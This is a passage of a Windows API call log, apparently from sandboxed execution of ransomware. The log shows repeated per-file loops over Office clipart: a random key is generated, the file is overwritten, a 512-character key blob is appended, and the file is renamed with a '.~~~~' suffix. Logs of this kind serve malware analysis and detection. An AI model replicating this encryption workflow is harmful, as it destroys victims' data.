	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863168
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863168 | out: hHeap=0x300000) returned 1
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x295e9b8
	[0101.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865188
	[0101.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x295e9b8 | out: hHeap=0x300000) returned 1
	[0101.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0101.259] GetLastError () returned 0x0
	[0101.259] GetLastError () returned 0x0
	[0101.259] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0101.259] GetLastError () returned 0x0
	[0101.260] GetLastError () returned 0x0
	[0101.371] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8292, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.371] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x7d6e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x7d6e, lpOverlapped=0x0) returned 1
	[0101.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0101.372] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.372] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0101.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0101.373] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0101.373] CloseHandle (hObject=0x11c) returned 1
	[0101.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0101.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.~~~~")) returned 1
	[0101.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0101.374] GetLastError () returned 0x0
	[0101.375] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0101.376] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.376] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0101.376] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22136601156) returned 1
	[0101.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa61aeaf0, dwHighDateTime=0x1d60e1e)) 
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863210
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863210 | out: hHeap=0x300000) returned 1
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0101.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865ba0
	[0101.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0101.377] GetLastError () returned 0x0
	[0101.377] GetLastError () returned 0x0
	[0101.377] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0101.377] GetLastError () returned 0x0
	[0101.377] GetLastError () returned 0x0
	[0102.579] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc4d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.580] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x3b2e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b2e, lpOverlapped=0x0) returned 1
	[0102.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0102.581] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.581] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.581] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.581] CloseHandle (hObject=0x11c) returned 1
	[0102.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.582] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.~~~~")) returned 1
	[0102.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0102.583] GetLastError () returned 0x0
	[0102.583] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0102.585] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.585] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0102.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0102.585] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22257560576) returned 1
	[0102.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa6d49630, dwHighDateTime=0x1d60e1e)) 
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863398
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863398 | out: hHeap=0x300000) returned 1
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe98
	[0102.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.586] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0102.587] GetLastError () returned 0x0
	[0102.587] GetLastError () returned 0x0
	[0102.587] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0102.587] GetLastError () returned 0x0
	[0102.587] GetLastError () returned 0x0
	[0102.646] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe378, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.646] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1c88, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c88, lpOverlapped=0x0) returned 1
	[0102.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0102.648] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.648] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.648] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.648] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.648] CloseHandle (hObject=0x11c) returned 1
	[0102.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.~~~~")) returned 1
	[0102.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0102.650] GetLastError () returned 0x0
	[0102.651] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0102.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.653] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0102.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0102.653] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22264335342) returned 1
	[0102.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa6de1bb0, dwHighDateTime=0x1d60e1e)) 
	[0102.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0102.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0102.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0102.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28633d0
	[0102.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28633d0 | out: hHeap=0x300000) returned 1
	[0102.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866218
	[0102.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.654] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0102.654] GetLastError () returned 0x0
	[0102.661] GetLastError () returned 0x0
	[0102.661] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0102.661] GetLastError () returned 0x0
	[0102.661] GetLastError () returned 0x0
	[0102.752] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9d20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.752] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x62e0, lpOverlapped=0x0) returned 1
	[0102.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0102.754] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.754] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.754] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.754] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.754] CloseHandle (hObject=0x11c) returned 1
	[0102.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.~~~~")) returned 1
	[0102.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0102.756] GetLastError () returned 0x0
	[0102.756] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0102.761] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.761] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0102.762] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22275179635) returned 1
	[0102.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa6eec550, dwHighDateTime=0x1d60e1e)) 
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863478
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863478 | out: hHeap=0x300000) returned 1
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28663e0
	[0102.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.763] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0102.763] GetLastError () returned 0x0
	[0102.763] GetLastError () returned 0x0
	[0102.763] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0102.763] GetLastError () returned 0x0
	[0102.764] GetLastError () returned 0x0
	[0102.878] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffaf4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.878] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x50b6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x50b6, lpOverlapped=0x0) returned 1
	[0102.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0102.880] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.880] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.880] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.880] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.880] CloseHandle (hObject=0x11c) returned 1
	[0102.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.~~~~")) returned 1
	[0102.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0102.882] GetLastError () returned 0x0
	[0102.883] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0102.885] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.885] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0102.886] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22287577433) returned 1
